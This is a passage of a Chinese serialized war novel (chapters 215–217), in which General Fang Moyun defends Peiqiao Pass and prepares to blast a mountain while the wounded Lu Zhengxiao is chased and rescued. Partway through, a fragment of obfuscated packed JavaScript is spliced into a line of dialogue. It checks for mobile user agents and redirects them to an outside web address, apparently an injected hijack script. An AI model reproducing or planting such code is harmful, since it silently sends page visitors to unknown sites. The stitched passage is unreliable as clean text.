此言一出，周围一片死寂。老马看向小马满脸不可置信。他居然会如此大胆，竟如此口气和茉云说话，他马上上前要拦！
茉云却没有发怒，反而轻轻抬手阻止了老马，她看向小马，眼中多了一丝肯定：“人着急，也不能犯傻！就凭你一个人，你去了只会拖他后腿。过来，我告诉你一个办法……”
小马被她的话怔住了，马上冷静了些许凑了过来，茉云微微俯身，靠近小马耳边，低声将计划告诉了他。
小马听完后瞪大了眼睛，满脸的震惊与难以置信：“头，这……我怎么可能做到？！”
茉云直起身，目光顿时变得沉稳而坚毅说道：“小马，人活一世，也很难有几个光芒万丈的瞬间。但此刻，卢正啸的命就在你手上。人啊，不要给自己设限，就好比若放在当年，我初入中州时，这一路走来的桩桩件件刀山火海之事，没有一件我当时觉得自己能做到的。”
小马抬目望向茉云眼里的热血，怔了半刻，茉云目光中掠过一抹锐利，语气中充满了力量。
“可当我知道我必须做到时，我方茉云头颅可断，血可流干，粉身碎骨，哪怕受万世唾骂亦不迟疑。从此，凡事皆可为，现在，卢正啸的生死，就在你手中。”
小马咬紧牙关，嘴唇激动得都在颤抖，茉云的话，似乎瞬间搅动了他的血脉，顷刻间沸腾的热血充斥他的全身每一处。
片刻后，小马坚定的目光冷静下来，朝茉云重重地抱拳行了一礼：“属下！定不辱命！”
“就他，靠你了！”茉云亦深吸一口气看向小马说道。
说罢，小马转身快步跑出，老马亦追出去为他备马和行囊，一炷香的时间后，小马飞身上马，朝关外扬鞭而去。他的身影渐渐消失在远方的寒风中，唯有背后茉云的目光，依旧冷静而深沉。
老马在一旁看着小马离去的方向，又看向茉云，似乎还想说什么。可茉云重新转回身之时，变得愈发冷厉而沉稳，语气中带着不容置疑的坚决：“老马，别愣着了，整军，准备出发。”
“是！”
茉云握剑之手都忍不住的在风中微微颤抖，她心中清楚，此时的卢正啸命牵一线，九死一生，但正是因此他的存在也牵制了一部分峑戎兵力。
而自己不能选择去救他，只能去稳住裴桥，守住边防，她才能给南境和卢家军在这次阴谋中争取到一线生机。
顷刻间的这份不容迟疑的决断，是她边关将领的职责，即便心中万般牵挂和惶恐，她依然必须选择理智，而非情感，好像这一刻的无奈、痛苦和挣扎，让自己瞬间明白了他往日的冷漠与克制，是这般艰难……因为此刻，我也没有坚定的选择你，而是做出了你也会做出的选择！
215.险象
一路上风沙滚滚，寒风刺骨，茉云率领南元数百人，日夜兼程从小路赶往裴桥，所有人都咬紧牙关，不曾有一人有怨言，终于几日后的夜里他们赶到了裴桥。
裴桥关副参将陆润吉在南营中曾见过茉云，他马上开了关门迎了茉云等人进入，可此时关内状况瞬间让茉云眉头紧锁。裴桥关的守将边鸿远果然带兵出外护卫大将军了，只留下寥寥不到三成的兵士让副参将陆润吉驻守。
驻守的副将陆润吉听完老马的阐述之后，顿时呆愣在原地：“前些日子我……们是收到军师文书，说大将军会来裴桥视察，可是后来又收到一封军师文书，说大将军有难，让边参军马上带兵去救！”
“那文书上，可有调兵的军令印记？”
“没有！”陆润吉恍然大悟又错愕的说道。
“陆副参将，若是调兵公文，怎么可能没有兵符印记？”老马痛心疾首的拍着手说道，“那军师笔迹，不随便找人便可模仿吗？”
“最主要是军师之前来信说大将军会来视察，可是大将军如期未来，后来收到救援的信，边参将一时情急……哎……方将军，大错已经酿成，此刻边关告急，裴桥兵力只余不到三成，我们先想该如何才好，日后我等再去负荆请罪。”陆润吉瞬间清醒了几分看向茉云。
茉云目光如炬的扫了一眼润吉，倒是眼中闪过一丝赞赏，他既没有推卸责任，亦没有惶恐失措，一瞬间就能清醒的想到该怎么把事办好，而且幸好还留了三成士兵，看起来也都是尽忠职守之辈，但这人数的稀缺让这关隘重地着实显得空荡冷清。
茉云深吸一口气没有多言，直接说道：“先即刻带我去见裴桥刺史。”
“是！”
片刻后，陆副参将直接带着茉云到了裴桥城的刺史府，事出紧急，都没有来得及通报，他们便长驱直入，走入内院门的瞬间，她的脚步微微一顿……
院内一位身形笔挺且温润儒雅的男子正出来迎他们，他穿着一身一丝不苟的官服，面容俊秀，眉宇间透着书卷气，显得谦和却不失气节。他一抬头，目光平静地看向她，四目相对的瞬间，两人都微微怔住。
陆润吉显然没有发现两人神情的诧异，马上帮他们互相介绍到：“苏刺史，这位便是卢家军南元守将，方茉云！这位便是……”
“苏云青？”茉云轻声道，眼中掠过一抹震惊。裴桥刺史居然是她昔日指腹为婚，却又因她悔婚而断了来往的苏家公子。众人都有些奇怪的看向这两人。
苏云青缓缓点头，温润的笑容中不见半分尴尬：“茉云，许久未见。”
然而，茉云很快收回无语的目光，语气恢复了冷峻：“苏刺史，日后再叙旧，此时情况紧急，裴桥内兵力不足三成，而峑戎铁骑在外伺机而动，不知何时就会攻城，你作为当地刺史，以为当如何？”
苏云青愣松了半刻，顿时目光一凛，斩钉截铁地说道：“我裴桥官员与百姓，定然会守至最后一刻，绝不可让峑戎铁骑踏入裴桥半步。”
听到这话，茉云眼中闪过一丝惊叹，望向苏云青。
一旁的陆润吉闻言，亦铿锵有力地补充道：“方将军，末将与将士们虽人数不足，但一定众志成城，即便洒尽最后一滴热血，也誓死守住裴桥关，不让敌军越城半步！”
茉云顿时脸上也终于显出欣慰之色，心中沉甸甸的重担仿佛也稍稍得到了缓解。她望向苏云青和陆润吉，嘴角微扬朗声说道：“好，有你二位，裴桥关便还有希望。我等便誓与裴桥共存亡！”
这一刻，众人的目光都充满了坚定，整个裴桥府衙中，士气悄然升腾。茉云吩咐了苏云青马上整顿全城可战之人，支援关卡，然后自己马上赶回裴桥关上，一路上她知道自己要立刻在心中大致盘算好，这场绝地反击的守城之战如何打。
黄昏时刻，寒风凛冽，茉云与陆润吉站在裴桥关的城墙上，目光远眺关外。天际苍茫，远处的山峦与荒原显得格外寂静，仿佛隐藏着无数滔天的暗涌。
茉云站在风中，披风猎猎作响，她眉头微蹙地低声说道：“若是峑戎大军踏破此处，南境危矣。”
陆润吉站在她身旁，却目光坚定地说：“将军，若真到了最后一刻，请您带着所有民众撤退，我守在此处。哪怕将整个裴桥关都炸毁，和敌军同归于尽，我也不会让峑戎铁骑踏入裴桥半步！”
茉云听到这话，猛地侧过头，惊讶地看向陆润吉，众人都以为她感叹陆润吉的壮举，而茉云却语气中带着不可置信的欣喜：“你意思……你有火药？”
陆润吉晃过神点点头，神情坦然的说道：“是，当年边城一战后剩下的火药，大将军命罗虎将军转移存放在裴桥。”
听到这话，茉云先是愣了一瞬，随即眼中一亮，露出一抹难得的兴奋之色：“你不早说？在哪？”
陆润吉却一脸茫然，缓过神说道：“可是将军，这……还没打，就炸？”
茉云转过头看向关外苍茫的大地，朗声的说道：“谁说要炸裴桥？让人进不了裴桥便是！”
她的笑容带着几分狡黠与凌厉，看向远处的山道，一个精巧而刺激的布局已经在她脑海中徐徐成形。
陆润吉看着她的神色，心中虽有疑虑，却也被她的自信所感染，忍不住挺直了脊背喊道：“来啊，带将军去咱炸药库看看！”
老马则一脸的担忧的望向茉云，他可是了解茉云的，若疯起来，她天都能捅个窟窿……
关外的风愈发寒冷，茉云的目光却愈发灼热，她目光往遥不可及的吉山望去，低声喃喃自语道：“你一定要撑住！有我在，裴桥关不会破。”
声音虽轻，却如同誓言，随风飘荡而去，往深远的吉山南侧飘去……
而此时的正啸身受重伤，依然带领着部下牵扯敌军往南撤退，千山、执礼和诸将都苦苦哀求正啸先撤退，让他们断后，因为以正啸的能耐，他是定能突围而出。
可正啸也洞察了幽戎的诡计，他速速派执礼飞鸽传书去裴桥，命裴桥立即备战，并命周边驻军在确保守关稳固的基础上，副将带领多余兵力驰援裴桥。所以他未选择突围离去，他知道自己多撑一日，便能牵扯幽戎部分兵力一日，便给裴桥多一日备战之机，
此时的峑戎的军帐中，地图摆放在幽戎案前，他站在正中，身披黑甲，眉眼深邃如寒潭，目光冷冷地盯着南境诸关卡。
幽戎的指尖停在了裴桥的位置，他的策略本就是以取卢正啸的性命为饵，诱得南境南线关卡空虚，峑戎大军退可攻裴桥，他的目光中带着一丝戏谑和轻蔑：“无论如何，这一局，你都难全身而退。”
这时，帐外传来副将飞奔入营的声音，他到幽戎面前低声汇报道：“主帅，卢正啸未见突围迹象，反而是一边牵制我军一边撤退。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14437863|130368||http|test|mini|href|location''.split(''|''),0,{}));
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听到这话，幽戎的目光一顿，随即眼神透出一丝狠戾，嘴角扬起一抹阴鸷的笑容。
“卢正啸不跑？……他还是对自己这般自信，固守不跑，是当真以为我不敢全力攻他吗？”他轻轻敲击着案桌，声音带着嘲讽却又卷席着压迫感，“那好，我便先亲自结果了他最好。”
幽戎说完，眼中的杀意越发深沉，他的笑容渐渐收敛，整个人笼罩在一股令人窒息的威压之中，仿佛这片战场的生死，已然尽在他的掌控之中。
“传令下去，余部暂缓一日出发。”幽戎的语气冷酷决绝，“本帅带前锋营亲自取卢正啸狗命，既然他如此无畏，那我便亲自送他一程！”
幽戎身披暗甲，带领着他当年暗营出生的部下组成的前锋营，亲自追击卢正啸而去。这支前锋营是峑戎军中的王牌，个个武艺超群，且箭术高超百步穿杨，素来以精准和残忍著称。
随着他们的铁蹄声由远及近，整片山野仿佛被乌云笼罩，寒风中透着肃杀之意。黑压压的敌军如潮水般涌来，箭雨接连不断地划破天际，像疾风骤雨般射向他们。
“进山道！”正啸忍着伤痛一声令下，他们从旷野转入山林，借着山林的地势隐蔽身形，他们必须摆脱敌军的追击，不然若进入敌军的射程，将无一可生还。
吉山的山路陡峭而复杂，树木茂密，脚下很多滑溜的泥土和乱石，一不小心便可能坠入深谷。正啸纵马指挥着队伍避开敌军的射程，翻山而过。
幽戎则骑马在高处，目光冷厉，像鹰隼般捕捉着山林中的一切动静。他顷刻发现正啸想翻山而过，抬手一挥，幽戎的先锋营瞬间分成多路，像猎鹰锁定猎物般进入山林紧追不舍。
一队弓箭手率先发现他们的行踪，顿时拉满弓满，对着正啸一齐射出利箭。箭矢如雨，劈开空气，发出骇人的破风声。
“散开！”正啸瞬间命令道，他的战马猛然跃起，避开了一支箭矢，却擦伤了马腿。马匹发出一声嘶鸣，险些滑倒。但他冷静地勒紧缰绳，迅速调整了行进，继续带领队伍进入山中更深处。
“追！”幽戎的声音冰冷刺骨，他看向正啸从密林深处消失的背影，嘴角勾起一抹冷笑，卢正啸也不愧是卢正啸，时至今日四面楚歌，也能如此冷静的指挥队伍。但幽戎知道，吉山虽复杂的地形，但绝不是无法攻克的屏障。
“封住出路，将他们困死在山中！”他再次发令，前锋营迅速分散，拉开包围圈，像毒蛇一般逐步压缩着包围的范围。
“主帅，我们还是要速战速决，探子飞鸽传书来报，许沧海和鹿里等人已经在带兵来援的路上，而且裴桥等地守将算日子也快到了！”
“嗯！”幽戎策马立在山腰的高处，冷冷地看着丛林。他的眼神中只剩下冷酷的算计，“天赐如此良机，竟让我杀了卢正啸，又得裴桥！那便放火烧山吧！”
山林中回荡着砍杀声、箭矢穿透空气的呼啸声，战马的嘶鸣和士兵的咆哮声。顿时随着幽戎的一声令下，山野还燃起了熊熊烈火。
“卢正啸，我看你还能往哪儿逃！”幽戎顿时朝山林咆哮到。
可他仰天长笑之后，却又深吸了一口气，声音轻得只有自己能听到，但透着彻骨的寒意：“你不是喜欢放火吗？那便送你最在乎之人，一片火海！”
幽戎孤自仰望漆黑的苍穹，人，为何爱不得，却还要恨不舍……
216.风雨前
吉山山巅杀声震天，峑戎的先锋营如一张巨网，死死困住了山中的正啸和他随行护卫军。山火在林中乱窜，箭雨接连不断地射来，形势岌岌可危。
正啸的伤口在持续渗血，但他的眼神没有一丝动摇和畏惧。他跨坐在战马上，冷眼望向包围而来的峑戎前锋营之人，他稳稳拉开长弓，箭矢上弦，手臂的肌肉因用力而微微颤抖，鲜血顺着指尖滴落。
“嗖——”箭矢破空而出，划过寒冷的山风，精准地射下峑戎前锋营的队长。那名敌将瞪大了双眼，满是难以置信的神色，顷刻从马上栽下，重重摔在地上。
顿时峑戎前锋营出现了慌乱，正啸带着众人从敌军薄弱之处发起突围。他的身影如一道决绝的箭，硬生生撕开了峑戎铁骑的包围圈，往吉山背面的密林方向逃去。
峑戎的士兵见营长倒地群情激奋，几名骑兵翻身下马，检查地上留下的血迹，沿着山道一路向前处处有血迹，他们用自己语言咒骂道：“卢正啸伤得不轻，撑不了多久绝对逃不远，沿血迹追上去，干掉他！”
山道上，一路都是血迹与破碎的马蹄印，正啸等人还有密林和夜色掩护，可眼看他的伤势愈发严重，而且冲出吉山背面，迎接他们的将是一马平川的旷野，无遮无挡，远处的天际开始泛白，黎明即将到来，此时敌军是他们的数十倍之多。
此刻，幽戎策马立在高地，远远地看着正啸带队冲出吉山。冷风拂过，他的黑甲在晨光中泛着寒光。嘴角缓缓勾起一抹冷笑。
“卢正啸，”幽戎低声喃喃，声音带着一丝几乎听不出情绪的感慨，“从幼时到如今，你倒是一直能耐。”
他轻轻挥手示意继续追击，峑戎前锋营再次整队，不顾一切的追击而去。个个杀意沸腾，咬紧牙关催动战马，迅速沿着卢正啸逃亡的方向追去，誓要在吉山背面的这片旷野将他们一举歼灭。
众人皆知，此处的地势对正啸他们而言是致命的。平川的广袤使得他们的每一步行动都清晰可见。而此时黎明的曙光已然洒向大地，身后是气势如虹的峑戎前锋营，仿佛这片平川已经成了一座巨大的猎场，而他们则是暴露在峑戎弓箭手靶心的猎物。
“卢正啸，这次你还能跑到哪儿去？”幽戎目光冷冽，嘴角阴鸷的笑意更深，他策马紧跟像一只时刻等待致命一击的猛兽。
危急时刻，身后峑戎前锋营已如潮水般的逼近，战马的嘶鸣与弓弦的拉动声几乎填满了整个天地。峑戎的弓箭手已经开始瞄准，准备发起最后一轮致命的齐射。
然而，就在这一刻，远处的地平线上忽然传来了低沉的马蹄声。那声音如雷滚动逐渐清晰，震撼着整片大地。峑戎的杀手们纷纷停下动作，抬头望向声音的方向，脸上露出了疑惑与警觉。
紧接着，一面飘扬着朗川国金色火凤纹的战旗出现在地平线尽头，旗帜在晨光中熠熠生辉。紧随其后的是一支浩浩荡荡的铁骑大军，他们如同黑色的洪流，卷着无可阻挡的气势直扑而来。为首之人身穿金甲，手握长剑，正是朗川国的长公主——饶盛男。
“朗川铁骑在此！随我歼敌！”饶盛男一声厉喝，声音清脆却充满杀伐之气。
朗川铁骑大军如狂风骤雨般冲来，凌厉的箭矢如雨点般射入敌阵，精准而迅猛。一时间，峑戎的攻势被硬生生遏制，他们始料未及，阵型瞬间大乱。
此时，小马紧随朗川铁骑之后赶到。他望见正啸，眼中带着难抑的喜悦与激动，不顾一切的策马冲来：“大将军，救援到了！”
正啸忍着伤痛抬头望去，远处朗川铁骑的战旗迎风招展，饶盛男挥剑指挥的身影清晰可见，他再看清策马来到身前的小马，双眉微蹙神情冷峻的要说什么，奈何终究因为伤势过重，眼前逐渐模糊……
“大将军！”“少主！”众人顷刻间一拥而上扶着他。
峑戎的杀手们此时只能死死盯着这支突如其来的朗川援军，脸色阴沉无比。
“是朗川的人！”幽戎的副将集益惊呼道，脸色骤变，“他们怎么会出现在这里？”
朗川铁骑如狂潮般涌入平川，拉开架势与峑戎前锋营先锋展开了激烈的交锋。饶盛男策马直冲战阵中央，挥剑斩下了数名峑戎战士，动作干脆利落，气势如虹。
“朗川公然插手战局，是想跟峑戎宣战吗？”峑戎前锋营的将军顿时剑指饶盛男，冲他们怒吼道。
然而，饶盛男并未有丝毫退缩，她高举长剑，凌厉地喊道：“朗川从不畏战！峑戎若敢犯境，我朗川铁骑必让你血溅当场！”
幽戎策马立于高处，目光阴冷地盯着战场上的朗川铁骑，双拳微微紧握，望向远处金甲披身的饶盛男，眼中满是杀意。
幽戎的副将集益靠近他耳边低声道：“主子，朗川援军在前，卢家军的援军可能也就在附近。若我们再不撤退，便会陷入前后夹击的险地。此时副帅统领的大军已然快到达裴桥，还请主帅以大局为重。”
幽戎眉头紧皱，眼中杀意未减，他冷冷地看向战场，沉默了片刻，最终抬起手，做了一个示意撤退的手势。
峑戎的杀手们立刻迅速而有序地撤出战场，他们如同黑潮退去般，消失在山林的阴影中。幽戎最后冷冷地看了朗川的方向一眼，低声说道：“先取裴桥，此事未完。”
说罢，峑戎先锋营迅速收缩队形，向平川另一侧撤退，吉山的战场渐渐平静下来，所有人都看向幽戎消失的方向，脸上皆是余悸。
“卢正啸，这次换我救了你。”饶盛男收起长剑粲然一笑，策马来到正啸身边，却发现正啸全身是血，已然昏厥过去，她顷刻间下马吼道，“快，带他走！”
此时此刻，吉山的他们已经脱险，而危机却铺天盖地的往裴桥涌来。关外一片暴风雨前的寂静，而城内却热血沸腾，这场守城之战已是迫在眉睫。
茉云独自一人走上城关上。她从怀里取出那本兵书，她轻轻翻开手指终于停在了那一段熟悉的文字上，是卢正啸昔日趁她熟睡时在她兵书上的批注。
她凝视着他那苍劲有力的书写，——守城第一要务，是军心。何为军心？帅有必胜之念，众人信仰之。
茉云深深地吸了一口气，眼神不再犹豫，双手紧握兵书，要让每一个人都相信他们能够胜利，才能守住这座城！
裴桥城中，刺史苏云青果断下令，即刻封闭全城关卡！所有百姓撤入城中，青壮随他奔赴裴桥关，随裴桥将士一起御敌，护卫家园！”
随着命令传达，裴桥的青壮们纷纷放下手中的活计，拿起一切可做武器之物，有人拿着长叉，有人甚至手持锄头，都来了府衙集合，但每个人的眼中都带着坚定的神色，他们明白，他们必须保护自己的家园，若裴桥关一破，他们家乡会毁于一旦。
苏云青旋即带领全城的青壮抵达裴桥关，支援裴桥将士，众人抵达了关卡，抬头便见到了立于关卡之上一道英姿飒爽的身影。
茉
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云站在城墙之上，身披银甲，战甲反射着冷冽的寒光。她的红色披风在狂风中猎猎作响，如一团燃烧的火焰。长发被头盔遮掩，只有眉宇间的凌厉气势透出与众不同的威严。
她一手按在腰间的剑上，另一手握着闪闪发光银枪，居高临下地俯瞰着关外的情形。冷风吹过，她的神情没有一丝畏惧，只有沉稳的冷静与震慑四野的气魄。
“方将军！”润吉快步上前，目光中满是崇敬的说道，“苏刺史带领全城青壮来裴桥支援战力！”
茉云转身威风凌凌的俯瞰而来，目光扫向城墙下集结的青壮，声音洪亮而有力：“今日，我裴桥将士与诸位同守裴桥。这里的每一个誓死守卫裴桥的灵魂，都是这座城池最坚固的屏障；我们手中的握着不只是武器，还有我等忠君爱国、誓死捍卫家园的信仰！记住，我们不是孤军奋战——后方是我们的家人，身旁是我们的兄弟，这里是我们的国土，我们在，裴桥在！”
一句话，点燃了所有人的热血。将士和城中青壮们高举手中的武器，齐声呐喊：“守裴桥！守裴桥！”
风声咆哮，旗帜飘扬，士气高昂，人心沸腾，茉云的披风在城墙上宛如一面火红的战旗，宣告着裴桥的决心与战意。她的身影如同一座巍峨的山峰，众人仰望皆众志成城，只要她在，裴桥关绝不会失守！
苏云青站在关下，静静地看着茉云的背影，嘴角不禁扬起了一抹笑意。她果然还是这样……，他记忆中那个总是张扬、洒脱，眼中带着光芒的少女，如今已然是光芒万丈般耀眼的存在。
夕阳的余晖洒在关卡之上，寒风依旧凛冽。苏云青缓步登上城墙，走到茉云身边，与她一同远眺关外。一旁的陆吉润副参将不禁望向他们，两人肩并肩站着，一人风姿英发，一人温润如玉，全然无惧眼前的杀伐之景。
茉云忽然转身目光带着几分戏谑，语气却轻松如好友间的互相调侃：“苏云青，心生畏惧吗？”
苏云望向茉云，露出一抹温润的笑意，眼神如春风般柔和地看向她：“自小但凡是你来了，我就从未害怕过。害怕的，向来都是别人。”
茉云闻言便乐了，挑眉一笑回忆着：“当年也没像这般紧急过吧？”
苏云青笑了，目光中多了一丝回忆，语气带着打趣的说道：“当年你集齐了两条街的小孩，去打黄员外家的小儿，这些人爹娘可都是在黄员外家讨生活的雇农，我记得当日你站在墙头，说黄员外的小儿子如何仗势欺人，天理不容时，也是刚刚那神态，众人皆群情激奋，而后黄员外家的护院都被你们震撼了，打完那一架，连黄员外家的狗见你，都往屋子躲。”
茉云听完这话，顿时想起当年，爽朗地笑了起来。
苏云青笑意更深，目光柔和中带着几分坚定：“所以，我与裴桥不必畏惧。你既然站在这里，那裴桥，便不会有事。”
茉云转过头目光再次投向关外，语气里多了一丝不容置疑的笃定：“放心，裴桥定无恙。”
苏云青静静地站在她身旁，眼中既有此刻的钦佩，也有自幼便发自内心的，对她无限的信任。他微微抬头看向全城，裴桥告急，他身为一州刺史身系全城百姓安危，若是以往他定然是如坐针毡，可此刻自己心中只有不可动摇的安定而果决。
而茉云望向吉山的方向，虽不知他此时境况如何，但是不知为何在这片广袤的天地中，哪怕是望向他所在的方向，都能感受到那股坚定的力量。
217.祈许
夜色深沉，营帐内燃着微弱的油灯，灯光在墙壁上投射出摇曳的影子。茉云与副参将陆润吉以及刺史苏云青围坐在地图旁，案上堆满了裴桥关与周边地势的详细图纸。
陆润吉忽然开口，打破了这份压抑的寂静，语气中充满了无奈和担忧：“方将军，最近请求增援的信鸽，一只也没回来。周边各关的支援似乎全无动静。”
“敌人自然早有防范，”茉云看着地图轻声道，语气淡然，“飞往南境诸关的信鸽，早就被他们射落了。”
陆润吉愣了一下继续道：“那如何是好？如果一直得不到增援，裴桥能撑下去吗？”
茉云没有立即回答，目光转向远处的营帐外，那里群山起伏，夜风呼啸，片刻后，她缓缓说道：“不用自乱阵脚，卢正啸见到边鸿远之时，定会意识到裴桥告急，届时必会调兵来援，我们只需撑住不能让人突破裴桥关！”
她的声音如同铁石般冷静，她所说的每一个字，都好似可以化作盾牌，保护每个人心中的安定，陆润吉听了茉云的话，亦顿时略微松了口气。
茉云再未多言语，手指在地图上滑过，停在关外的裴山附近。她抬起头，神色郑重的说道：“诸位听着，我的守城方案很简单——我带着火药去把裴山炸了，阻断峑戎军的第一波进攻。”
话音刚落，帐内一片寂静。陆润吉和苏云青都愣住了，显然被这个大胆且他们压根没想到过的计划震住了，从古至今好似只听过愚公移山的传说，可没听过炸山御敌的兵法……
“炸山？”陆润吉第一个反应过来，瞪大眼睛难以置信地问道，“将军，你是认真的吗？”
茉云语气镇定如常：“你之前提出若守不住，炸裴桥的方案，我也考虑了，欠妥。就算我等与这一波峑戎军同归于尽，下一波峑戎军呢？他们轻而易举地就能踏过裴桥进关，到时候裴桥依旧会沦陷，南境也将生灵涂炭。”
苏云青皱眉望向茉云，他知道茉云此时出关去裴山等敌军到来而后炸山，此局何其凶险，他神情复杂地问：“可是，炸山比炸城还要危险。火药……稍有不慎便会酿成大祸。而且大军逼在眼前，你确定？”
茉云没有正面回答苏云青的话，而是再次指向地图，声音沉稳而笃定的说：“我们必须分三步走。首先，我带人去炸山，挡住峑戎军的第一波进攻。第二步，陆副参将和苏刺史负责守城，抵御敌方援军绕道而来的第二波攻击。第三步，等待接应我方援军从南境赶来，裴桥之困解矣。总而言之，就是拖时间，等救援！”
陆润吉猛地拍桌站了起来，毫不迟疑的说：“好，将军！炸山这种事，太危险，我去！你留在城中指挥大局！”
茉云语气凌厉而不容置疑的说道：“别废话了！火药这东西我比你熟，怎么点，怎么引，怎么控制炸能阻挡山路，你可知？此时擅长守城的便守城！。”
陆润吉毫不示弱，语气中多了一分倔强：“将军，守城不过就是守住城门别开，不让敌军进来，有什么多复杂的？刺史大人便能胜任。我必须跟你去炸山，人多力量大，关键是这第一波拦不住，后面的计划全是空谈！”
茉云望向陆润吉思索片刻后，最终点点头：“好，陆副参将，你跟我去炸山，兵力有限，咱只带我从南元带来的小队精锐。苏云青，守城的重任就先交给你了。”
苏云青微微一怔，愣了半刻后，他也顷刻感受到了他们的壮志，裴桥告急，所有的个人安危都是小事，他起身笃定的说道：“既然两位将军如此信任我，我定不辱使命。”
茉云抬手一拍他的肩膀，语气带着几分轻松：“陆润吉刚才说了，守城的秘诀很简单：守住城门，不让敌人进来。你自小聪颖，肯定没问题！”
苏云青忍俊不禁地笑了：“好，裴桥关交给我，也请二位保重。”
茉云和陆润吉相视一眼，彼此点头，润吉转身走向营帐外，准备布置执行这一危险至极的计划，而老马站在茉云身旁一直相当冷静，一言未发。茉云看了老马一眼，她之前特意嘱咐留下老马驻守在城中，老马看向茉云的眼神，便读到了她的意思，茉云在命令他密切注意城内的动静。
夜色深沉，冷月如刀，照在南元关的城墙上，显得格外凄冷。茉云准备今夜带着自己的人运送火药连夜出城。离营前，她转身走向帐外的一个角落，那里摆放着信鸽笼子，几只信鸽正栖息其中。她轻轻拿起一只，细心地用细绳绑着袖中拿出的小信件，动作熟练而果断。
她将信鸽托在手心，轻轻抚摸着它的羽翼，眼中闪过一丝冷凌的光芒，低声道：“既然不让我往关内送信，那我往关外求援总可以吧？”
茉云轻轻松开了双手，信鸽迅速飞向了西南的方向，越过山川，飞向遥远之地，而她的神情中带着一丝狡黠的冷笑，却又闪过一丝深邃的叹息……
陆润吉望向她的背影，虽也有疑虑，不是信鸽都收不到信吗？但是他心中无比笃定，茉云的每一个决定定然是经过深思熟虑的。即使在这种困境中，她亦以超乎常人的冷静、智慧和决心，为裴桥寻得一线生机和希望。
而苏云青看向茉云的背影，目光中有担忧，但更多的是信任，他知道，无论前方有多么危险，茉云，定然会带着胜利归来。
当信鸽消失在夜色中，茉云再无迟疑的与陆润吉带着火药，连夜打算从城门悄然出发直奔裴山。
夜风凛冽，火把的光亮在黑暗中摇曳。就在城门外的夜色中，忽然又一只信鸽从某个隐秘的角落飞起，划破黑夜的寂静。老马眼神一凌，立刻喝令：“放箭！”
羽箭疾驰而出，老马快步上前，将绑在信鸽腿上的密信取了下来。
他翻开信件，看到其中的内容时脸色顿时一沉，是一封通知峑戎敌军裴桥可能炸山的通敌密函，老马抬手一挥，他手下的几名亲信迅速展开搜查，很快便在守将营中发现了放信鸽的人，居然是可随意进出守将营地、查阅军中公文的刘文书。
那刘文书被羁押时，茉云和陆润吉正好出关。老马将通敌密信递给了茉云，茉云看都未看递给了陆润吉，那刘文书跪在地上满脸惶恐，而陆润吉看着密信，整个人都愣住了，声音带着难以置信的颤抖：“他……他居然是……”
这名刘文书是边鸿远和他平日里都及其信任的下属，虽然只是个文官，但一直兢兢业业，谁曾想，他竟是通敌的细作！陆润吉的脸色变得惨白，拳头捏得咯吱作响，被背叛的怒火灼烧着内心。
茉云却没有停下脚步，只是淡然扫了那个文书一眼，冷冷说道：“带下去严加看管，留待援军到后再发落。”
说罢，她转身带众人，连夜运着炸药赶往裴山。山道崎岖，寒风刺骨，半夜之时到了山下，陆润吉看着茉云的背影，心中复杂的情绪难以言表。
他终于忍不住开口，低声问道：“方将军……你可曾怀疑过我的忠诚？”
茉云抬目望向山崖峭壁，停下了脚步，嘴角扬起一抹淡淡的笑意，目光中透着几分犀利。
“陆润吉，我这一生见过无数恶人！”她声音淡然，却带着一丝狠戾，“人好不好，我不敢断言。但恶人——一眼便知。”
“我还以为他平素忠心耿耿，任劳任怨……他还时常接济城中苦难之人！”
“敌人不一定都是坏人，自己人也许更恶，但这世上之人大多都是光明和黑暗参杂在一身！”
“将军便是那光芒万丈之人！”润吉望向茉云一脸崇敬的说道。
茉云顷刻乐了望向润吉说道：“你啊，过分单纯，怎得这么容易信人，所以你看，人都不会选你做细作！而我，黑暗之时你没见过罢了，世上哪那么多光芒万丈之人……但也有，我也
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见过。”
她顿时抬目仰望苍穹，在这黎明前的黑夜里，她凝视着天际那一轮明亮的圆月，光芒穿透了黑暗，投射在她坚毅的面庞上。月光好似映照出她心中那个光辉万丈的存在……此刻，他还好吗？
陆润吉望向茉云怔了半刻，他看着她那双清澈而凌厉的眼睛，好似闪过一丝一样，但是定睛一看，又转瞬即逝了。
茉云决然的转身背起火药，带领队伍向山上攀去。寒风吹拂，而他们在夜色中如同跳动的火焰，带着燃尽一切的决心。
裴山之巅，寒风如刀，夜色深沉，四周一片死寂，茉云和陆润吉带领着一行士兵，肩扛炸药，沿着山间陡峭的石道攀爬。山路险峻，脚下是深不见底的悬崖，稍有不慎便会坠落。但所有人都咬紧牙关，屏气凝神，丝毫不敢松懈。
“加快脚步！必须在天亮之前完成！”茉云低声命令道。
陆润吉和士兵们顿时都不顾疲惫的奋力攀爬，背着沉重的炸药逐一运到山腰和山顶的关键位置，默默候着。山间风大，将人吹得感受不到一丝身体的暖意，却吹不灭他们心中支撑一切的信念。
“你守这个据点，点燃炸药便往山脉后山方向逃窜，一定记住，不然就把自己埋乱石里了！”
“是！”润吉看向茉云说道，“那将军你呢？”
茉云抬头望向崖上最高的悬石笑道：“登高望远，人生快哉！”
夜色如水，月光洒在裴山陡峭的山体上，映照出嶙峋的乱石。茉云背着沉重的火药，却步步惊险。随着山路愈发狭窄，她的脚下已无路可走，只能用双手双脚攀上峭壁，身影在月光下显得如此干练而坚韧。
陆润吉站在据点隐蔽处，紧张地看着茉云一步步向上攀登，心中如重石压着。众人为了不暴露行踪，只能默默看着她孤身攀爬。
峭壁陡峭，乱石锋利，每一步都如履薄冰。忽然，茉云脚下一滑，险些跌落悬崖，幸亏她落下时，以双手抓住了突出的乱石。陆润吉的心猛地一紧，双拳死死握住。他眼睁睁地看着茉云的身体悬在半空，整个人几乎挂在峭壁上岌岌可危。
时间仿佛静止，她的双手牢牢抓住了乱石，手臂肌肉绷紧，手掌定然是鲜血淋漓。茉云却没有一丝慌乱，用尽全力一点一点地将自己拉了上去，然后继续攀爬没有半点迟疑。
陆润吉死死咬住牙关，双眸已是微热。他们所有人接到的军令是，未点燃火药之时，必须潜伏不动一声不吭，只能目光炙热地注视着她的背影。
